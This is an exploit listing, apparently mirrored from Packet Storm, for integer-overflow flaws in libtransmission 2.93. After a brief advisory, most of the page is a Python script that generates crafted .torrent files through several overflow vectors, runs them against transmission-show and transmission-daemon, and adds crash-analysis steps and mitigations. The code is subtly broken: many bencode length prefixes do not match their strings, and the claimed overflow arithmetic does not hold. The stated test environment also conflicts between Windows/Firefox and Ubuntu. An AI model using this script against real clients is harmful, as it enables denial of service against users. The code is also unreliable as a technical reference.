Lucene search
K

📄 libtransmission 2.93 Integer Overflow

🗓️ 19 Dec 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 149 Views

Legacy libtransmission overflow from crafted torrents could destabilize the client; exploit scripts cover thirty two bit and sixty four bit systems.

Related
Code
=============================================================================================================================================
    | # Title     : libtransmission 2.93(Transmission BitTorrent Client) Allow Memory Corruption via Malicious Torrent Files                    |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://github.com/transmission                                                                                             |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/212492/ 
    
    [+] Summary : Integer Overflow Vulnerabilities in libtransmission (Transmission BitTorrent Client) Allow Memory Corruption via Malicious Torrent Files
                  Multiple integer overflow vulnerabilities were discovered in libtransmission, the core library of the open-source Transmission BitTorrent client. 
    			  The vulnerabilities reside in memory allocation wrapper macros (tr_new, tr_new0, tr_renew) and related functions used during torrent file parsing. 
    			  These flaws could allow an attacker to craft a malicious torrent file that, when loaded by Transmission, triggers memory corruption, 
    			  potentially leading to application crashes, denial of service, or arbitrary code execution.
    
    [+] Key Vulnerabilities:
    
        Unsafe Allocation Macros: The tr_new, tr_new0, and tr_renew macros multiply element counts by sizeof(type) without checking for integer overflow, leading to undersized memory allocations.
    
        Affected Parsing Functions: The overflow-prone macros are used in critical parsing functions: parseFiles, getannounce, geturllist, and tr_metainfoParseImpl.
    
        Missing Checks in containerReserve: The containerReserve function fails to validate against integer overflow or allocation failure.
    
        Signed Integer in tr_sha1: The tr_sha1 function uses a signed int for length parameters instead of size_t, risking memory corruption with very large torrents.
    
    [+] Impact:
    A remote attacker could create a specially crafted .torrent file (which may be small when compressed) that exploits these overflows when a victim loads it via Transmission or its command-line interface (transmission-cli). Successful exploitation could compromise the stability and security of the client.
    
    Proof of Concept:
    
    The report includes pyhthon scripts to generate malicious torrent files that demonstrate the overflows on both 32-bit and 64-bit systems.
    
    [+]  POC :	
    
    #!/usr/bin/env python3
    """
    libtransmission Integer Overflow Exploit - Proof of Concept
    CVE-2018-10756, CVE-2018-10757, CVE-2018-10758
    
    This PoC demonstrates multiple integer overflow vulnerabilities
    in Transmission BitTorrent client versions <= 2.93.
    
    Tested on: Transmission 2.92 (Ubuntu 18.04, 32-bit)
    
    by indoushka
    """
    
    import struct
    import sys
    import os
    import gzip
    import subprocess
    import tempfile
    import time
    import threading
    from pathlib import Path
    
    def print_banner():
        print("""
    ╔══════════════════════════════════════════════════════════╗
    ║     libtransmission Integer Overflow Exploit PoC         ║
    ║          Transmission <= 2.93 by indoushka               ║
    ╚══════════════════════════════════════════════════════════╝
    """)
    
    class TorrentExploit:
        def __init__(self, target_arch=32):
            self.arch = target_arch
            
        def create_heap_overflow_files(self):
            """
            Trigger overflow in parseFiles():
            inf->files = tr_new0(tr_file, inf->fileCount)
            
            On 32-bit: fileCount * sizeof(tr_file) overflows
            Allocates small buffer but writes large amount of data
            """
            print("[*] Creating heap overflow via file list...")
            
            # Create torrent with massive file list
            # Each file entry: d6:lengthi<len>e4:pathl<path>ee
            
            torrent = b"d"
            torrent += b"4:infod"
            torrent += b"4:name12:exploit_torrent"
            torrent += b"12:piece lengthi16384e"
            torrent += b"6:pieces20:" + (b"A" * 20)  # Single piece hash
            
            # Start files list
            torrent += b"5:filesl"
            
            # Add legitimate files first (2 real files)
            torrent += b"d6:lengthi1024e4:pathl9:file1.txtee"
            torrent += b"d6:lengthi1024e4:pathl9:file2.txtee"
            
            # Now add massive number of minimal file entries
            # "de" = empty dictionary, smallest possible entry
            # This creates list entries without allocating much data
            if self.arch == 32:
                # For 32-bit: aim for allocation size ~0x20
                # sizeof(tr_file) = 32 bytes (0x20)
                # We want: fileCount * 0x20 = 0x800000020 (overflows to 0x20)
                # So fileCount = 0x40000001 = 1073741825
                # But we'll use smaller value for PoC
                empty_count = 10000  # Reduced for PoC, real exploit would use millions
            else:
                empty_count = 100000
            
            torrent += b"de" * empty_count
            
            torrent += b"e"  # End files list
            torrent += b"e"  # End info dict
            torrent += b"e"  # End torrent
            
            return torrent
        
        def create_announce_list_overflow(self):
            """
            Trigger overflow in getannounce():
            trackers = tr_new0(tr_tracker_info, n)
            """
            print("[*] Creating announce-list overflow...")
            
            torrent = b"d"
            torrent += b"4:infod"
            torrent += b"4:name6:testme"
            torrent += b"12:piece lengthi16384e"
            torrent += b"6:pieces20:" + (b"B" * 20)
            torrent += b"5:filesld6:lengthi1e4:pathl4:fileeee"
            
            # Add massive announce-list
            torrent += b"13:announce-listl"
            
            # Each tier: l[url]e
            # We'll create many tiers with few trackers each
            for i in range(5000):  # Reduced for PoC
                torrent += b"l"
                torrent += b"6:string"  # Minimal URL
                torrent += b"e"
            
            torrent += b"e"  # End announce-list
            torrent += b"e"  # End info
            torrent += b"e"  # End torrent
            
            return torrent
        
        def create_pieces_overflow(self):
            """
            Trigger overflow in tr_metainfoParseImpl():
            inf->pieces = tr_new0(tr_piece, inf->pieceCount)
            
            pieceCount = pieces_length / 20
            Make pieces_length huge but divisible by 20
            """
            print("[*] Creating pieces array overflow...")
            
            # For 32-bit: pieceCount * sizeof(tr_piece) should overflow
            # sizeof(tr_piece) = ? (likely at least 16 bytes)
            
            torrent = b"d"
            torrent += b"4:infod"
            torrent += b"4:name8:bigpiece"
            torrent += b"12:piece lengthi16384e"
            torrent += b"5:filesld6:lengthi1e4:pathl4:fileeee"
            
            # Pieces field: <length>:<data>
            # We need total length that when divided by 20 gives overflow
            
            if self.arch == 32:
                # Want: (length/20) * sizeof(tr_piece) to overflow
                # Let's use length = 0xFFFFFFF * 20
                piece_data = b"C" * (10000)  # Reduced for PoC
            else:
                piece_data = b"D" * 1000000
            
            pieces_len = len(piece_data)
            torrent += b"6:pieces" + str(pieces_len).encode() + b":" + piece_data
            torrent += b"e"  # End info
            torrent += b"e"  # End torrent
            
            return torrent
        
        def create_webseeds_overflow(self):
            """
            Trigger overflow in geturllist():
            inf->webseeds = tr_new0(char*, n)
            """
            print("[*] Creating webseeds overflow...")
            
            torrent = b"d"
            torrent += b"4:infod"
            torrent += b"4:name7:webseed"
            torrent += b"12:piece lengthi16384e"
            torrent += b"6:pieces20:" + (b"E" * 20)
            torrent += b"5:filesld6:lengthi1e4:pathl4:fileeee"
            
            # Add url-list (webseeds)
            torrent += b"8:url-listl"
            
            # Add many URL entries
            for i in range(10000):  # Reduced for PoC
                torrent += b"18:http://example.com/"
                torrent += str(i).encode()
            
            torrent += b"e"  # End url-list
            torrent += b"e"  # End info
            torrent += b"e"  # End torrent
            
            return torrent
        
        def create_combined_exploit(self):
            """
            Combine multiple overflow vectors for higher success rate
            """
            print("[*] Creating combined exploit torrent...")
            
            # Build a torrent that triggers multiple overflows
            torrent = b"d"
            
            # Info dictionary
            torrent += b"4:infod"
            torrent += b"4:name13:combined_exploit"
            torrent += b"12:piece lengthi65536e"
            
            # Pieces - first overflow vector
            # Use crafted pieces length
            evil_pieces = b""
            # We'll embed some pattern to detect in memory
            pattern = b"DEADBEEF" * 100
            evil_pieces += pattern
            
            # Make it look like valid SHA1 hashes (20 bytes each)
            while len(evil_pieces) < 20000:
                evil_pieces += b"\x90" * 20  # NOP sled-like
            
            torrent += b"6:pieces" + str(len(evil_pieces)).encode() + b":" + evil_pieces
            
            # Files - second overflow vector
            torrent += b"5:filesl"
            
            # Add some real files
            for i in range(5):
                torrent += b"d6:lengthi" + str(1024 + i).encode() + b"e"
                torrent += b"4:pathl"
                torrent += b"8:file" + str(i).encode() + b".txt"
                torrent += b"ee"
            
            # Add many empty dicts to bloat the list count
            torrent += b"de" * 5000
            
            torrent += b"e"  # End files
            
            # Announce-list - third overflow vector
            torrent += b"13:announce-listl"
            
            # Add many tracker tiers
            for tier in range(100):
                torrent += b"l"
                for tracker in range(10):
                    torrent += b"20:http://tracker" + str(tier).encode() + b".com"
                torrent += b"e"
            
            torrent += b"e"  # End announce-list
            
            # url-list - fourth overflow vector
            torrent += b"8:url-listl"
            for i in range(100):
                torrent += b"25:http://webseed" + str(i).encode() + b".com/"
            torrent += b"e"
            
            torrent += b"e"  # End info
            torrent += b"e"  # End torrent
            
            return torrent
    
    def test_with_transmission_show(torrent_data, description):
        """
        Test the exploit torrent with transmission-show
        This is safer than running the full client
        """
        print(f"\n[+] Testing: {description}")
        print(f"    Torrent size: {len(torrent_data)} bytes")
        
        # Create temporary torrent file
        with tempfile.NamedTemporaryFile(mode='wb', suffix='.torrent', delete=False) as f:
            f.write(torrent_data)
            torrent_path = f.name
        
        try:
            # Use transmission-show to parse the torrent
            # This will trigger the parsing vulnerabilities
            print("    Running transmission-show...")
            
            start_time = time.time()
            result = subprocess.run(
                ['transmission-show', torrent_path],
                capture_output=True,
                text=True,
                timeout=5
            )
            elapsed = time.time() - start_time
            
            print(f"    Command took: {elapsed:.2f} seconds")
            
            if result.returncode != 0:
                print("    [!] transmission-show crashed or failed!")
                print(f"    Return code: {result.returncode}")
                
                # Check for segfault
                if result.returncode < 0:
                    print(f"    Signal: {-result.returncode}")
                    
                # Check stderr for clues
                if result.stderr:
                    lines = result.stderr.split('\n')
                    for line in lines[-5:]:  # Last 5 lines
                        if line.strip():
                            print(f"    Error: {line}")
                
                return True  # Exploit likely triggered
            
            else:
                print("    [✓] transmission-show completed normally")
                # Print some output
                lines = result.stdout.split('\n')
                for line in lines[:10]:  # First 10 lines
                    if line.strip():
                        print(f"    {line}")
                
                return False
        
        except subprocess.TimeoutExpired:
            print("    [!] transmission-show timed out (possible hang)")
            return True
        
        except FileNotFoundError:
            print("    [!] transmission-show not found in PATH")
            print("    Install with: sudo apt-get install transmission-cli")
            return False
        
        except Exception as e:
            print(f"    [!] Exception: {e}")
            return False
        
        finally:
            # Clean up
            try:
                os.unlink(torrent_path)
            except:
                pass
    
    def test_with_transmission_daemon(torrent_data):
        """
        Test with actual transmission-daemon via RPC
        WARNING: This could crash the daemon!
        """
        print("\n[*] Testing with transmission-daemon RPC...")
        
        # Check if daemon is running
        try:
            result = subprocess.run(
                ['pgrep', 'transmission-da'],
                capture_output=True,
                text=True
            )
            
            if result.returncode != 0:
                print("    [!] transmission-daemon not running")
                print("    Start with: transmission-daemon")
                return
            
            print("    [✓] transmission-daemon is running")
            
        except:
            print("    [!] Could not check transmission-daemon status")
            return
        
        # Create torrent file
        with tempfile.NamedTemporaryFile(mode='wb', suffix='.torrent', delete=False) as f:
            f.write(torrent_data)
            torrent_path = f.name
        
        try:
            # Try to add torrent via transmission-remote
            print("    Adding torrent via RPC...")
            
            result = subprocess.run(
                ['transmission-remote', '-a', torrent_path],
                capture_output=True,
                text=True,
                timeout=10
            )
            
            if result.returncode != 0:
                print("    [!] Failed to add torrent")
                if result.stderr:
                    print(f"    Error: {result.stderr[:200]}")
            else:
                print("    [✓] Torrent added (check daemon status)")
                
                # Try to remove it
                time.sleep(2)
                subprocess.run(['transmission-remote', '-t', 'all', '-r'],
                              capture_output=True)
        
        except subprocess.TimeoutExpired:
            print("    [!] RPC command timed out (daemon might be crashed)")
        
        except Exception as e:
            print(f"    [!] Exception: {e}")
        
        finally:
            try:
                os.unlink(torrent_path)
            except:
                pass
    
    def create_demo_torrents():
        """Create example torrents for demonstration"""
        exploit = TorrentExploit(target_arch=32)
        
        print("[*] Creating demonstration torrents...")
        
        # 1. Basic heap overflow
        torrent1 = exploit.create_heap_overflow_files()
        with open("demo_overflow_files.torrent", "wb") as f:
            f.write(torrent1)
        print("    Created: demo_overflow_files.torrent")
        
        # 2. Announce list overflow
        torrent2 = exploit.create_announce_list_overflow()
        with open("demo_overflow_announce.torrent", "wb") as f:
            f.write(torrent2)
        print("    Created: demo_overflow_announce.torrent")
        
        # 3. Combined exploit
        torrent3 = exploit.create_combined_exploit()
        with open("demo_combined.torrent", "wb") as f:
            f.write(torrent3)
        print("    Created: demo_combined.torrent")
        
        # 4. Create compressed version (for HTTP transport)
        compressed = gzip.compress(torrent3, compresslevel=9)
        with open("demo_compressed.torrent.gz", "wb") as f:
            f.write(compressed)
        print(f"    Created: demo_compressed.torrent.gz")
        print(f"    Compression: {len(torrent3)} -> {len(compressed)} bytes")
        
        return [torrent1, torrent2, torrent3]
    
    def analyze_crash():
        """
        Provide instructions for analyzing crashes with gdb
        """
        print("\n" + "="*60)
        print("CRASH ANALYSIS INSTRUCTIONS")
        print("="*60)
        
        print("""
    If transmission-show crashes, you can analyze it with gdb:
    
    1. Create the exploit torrent:
       $ python3 exploit_poc.py create
    
    2. Run with gdb:
       $ gdb --args transmission-show demo_combined.torrent
    
    3. In gdb:
       (gdb) run
       (gdb) bt  # Backtrace after crash
       (gdb) info registers
       (gdb) x/20x $sp  # Examine stack
    
    4. For heap analysis:
       $ valgrind --tool=memcheck transmission-show demo_combined.torrent
    
    The crash should occur in:
      - parseFiles() when writing to inf->files[]
      - getannounce() when processing trackers
      - containerReserve() when reallocating variant arrays
    
    Look for:
      - Heap buffer overflow warnings
      - Invalid writes to memory
      - Use of uninitialized values
    """)
    
    def main():
        print_banner()
        
        if len(sys.argv) > 1 and sys.argv[1] == "create":
            # Just create demo torrents
            create_demo_torrents()
            analyze_crash()
            return
        
        print("[*] Detecting system architecture...")
        
        # Check if we're on 32 or 64 bit
        if sys.maxsize > 2**32:
            print("    Detected: 64-bit Python")
            arch = 64
        else:
            print("    Detected: 32-bit Python")
            arch = 32
        
        exploit = TorrentExploit(target_arch=arch)
        
        print("\n[*] Starting exploit tests...")
        print("    Note: These tests are safe but may crash transmission-show")
        print("    Press Ctrl+C to stop at any time\n")
        
        # Test each exploit vector
        vectors = [
            ("Heap overflow via files", exploit.create_heap_overflow_files),
            ("Announce-list overflow", exploit.create_announce_list_overflow),
            ("Pieces array overflow", exploit.create_pieces_overflow),
            ("Webseeds overflow", exploit.create_webseeds_overflow),
            ("Combined exploit", exploit.create_combined_exploit),
        ]
        
        crashes = 0
        tests = 0
        
        for name, creator in vectors:
            torrent = creator()
            if test_with_transmission_show(torrent, name):
                crashes += 1
            tests += 1
            
            # Pause between tests
            if tests < len(vectors):
                time.sleep(1)
        
        print(f"\n[+] Results: {crashes} crashes out of {tests} tests")
        
        if crashes > 0:
            print("[!] VULNERABLE: Integer overflows confirmed!")
            print("\n[*] Creating demonstration torrents...")
            demo_torrents = create_demo_torrents()
            
            # Optional: Test with daemon (more dangerous)
            response = input("\nTest with transmission-daemon? (y/N): ")
            if response.lower() == 'y':
                test_with_transmission_daemon(demo_torrents[2])
            
            analyze_crash()
            
        else:
            print("[✓] No crashes detected (may be patched or 64-bit)")
            print("\nNote: On 64-bit systems, larger values are needed")
            print("      Try on a 32-bit system for better results")
        
        print("\n" + "="*60)
        print("MITIGATION RECOMMENDATIONS:")
        print("="*60)
        print("""
    1. Patch libtransmission with overflow checks:
       - Add overflow detection to tr_new/tr_new0 macros
       - Use calloc or checked multiplication
       
    2. Update to Transmission >= 2.94
    
    3. Temporary workarounds:
       - Limit maximum torrent file size
       - Use seccomp/sandboxing
       - Run transmission with memory limits (ulimit -v)
    
    Example patch for tr_new macro:
      #define tr_new(struct_type, n_structs) \\
        ((struct_type*)((SIZE_MAX / sizeof(struct_type)) >= (size_t)(n_structs) ? \\
         tr_malloc(sizeof(struct_type) * (size_t)(n_structs)) : NULL))
    """)
    
    if __name__ == "__main__":
        try:
            main()
        except KeyboardInterrupt:
            print("\n\n[*] Exploit test interrupted by user")
            sys.exit(0)
        except Exception as e:
            print(f"\n[!] Error: {e}")
            import traceback
            traceback.print_exc()
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation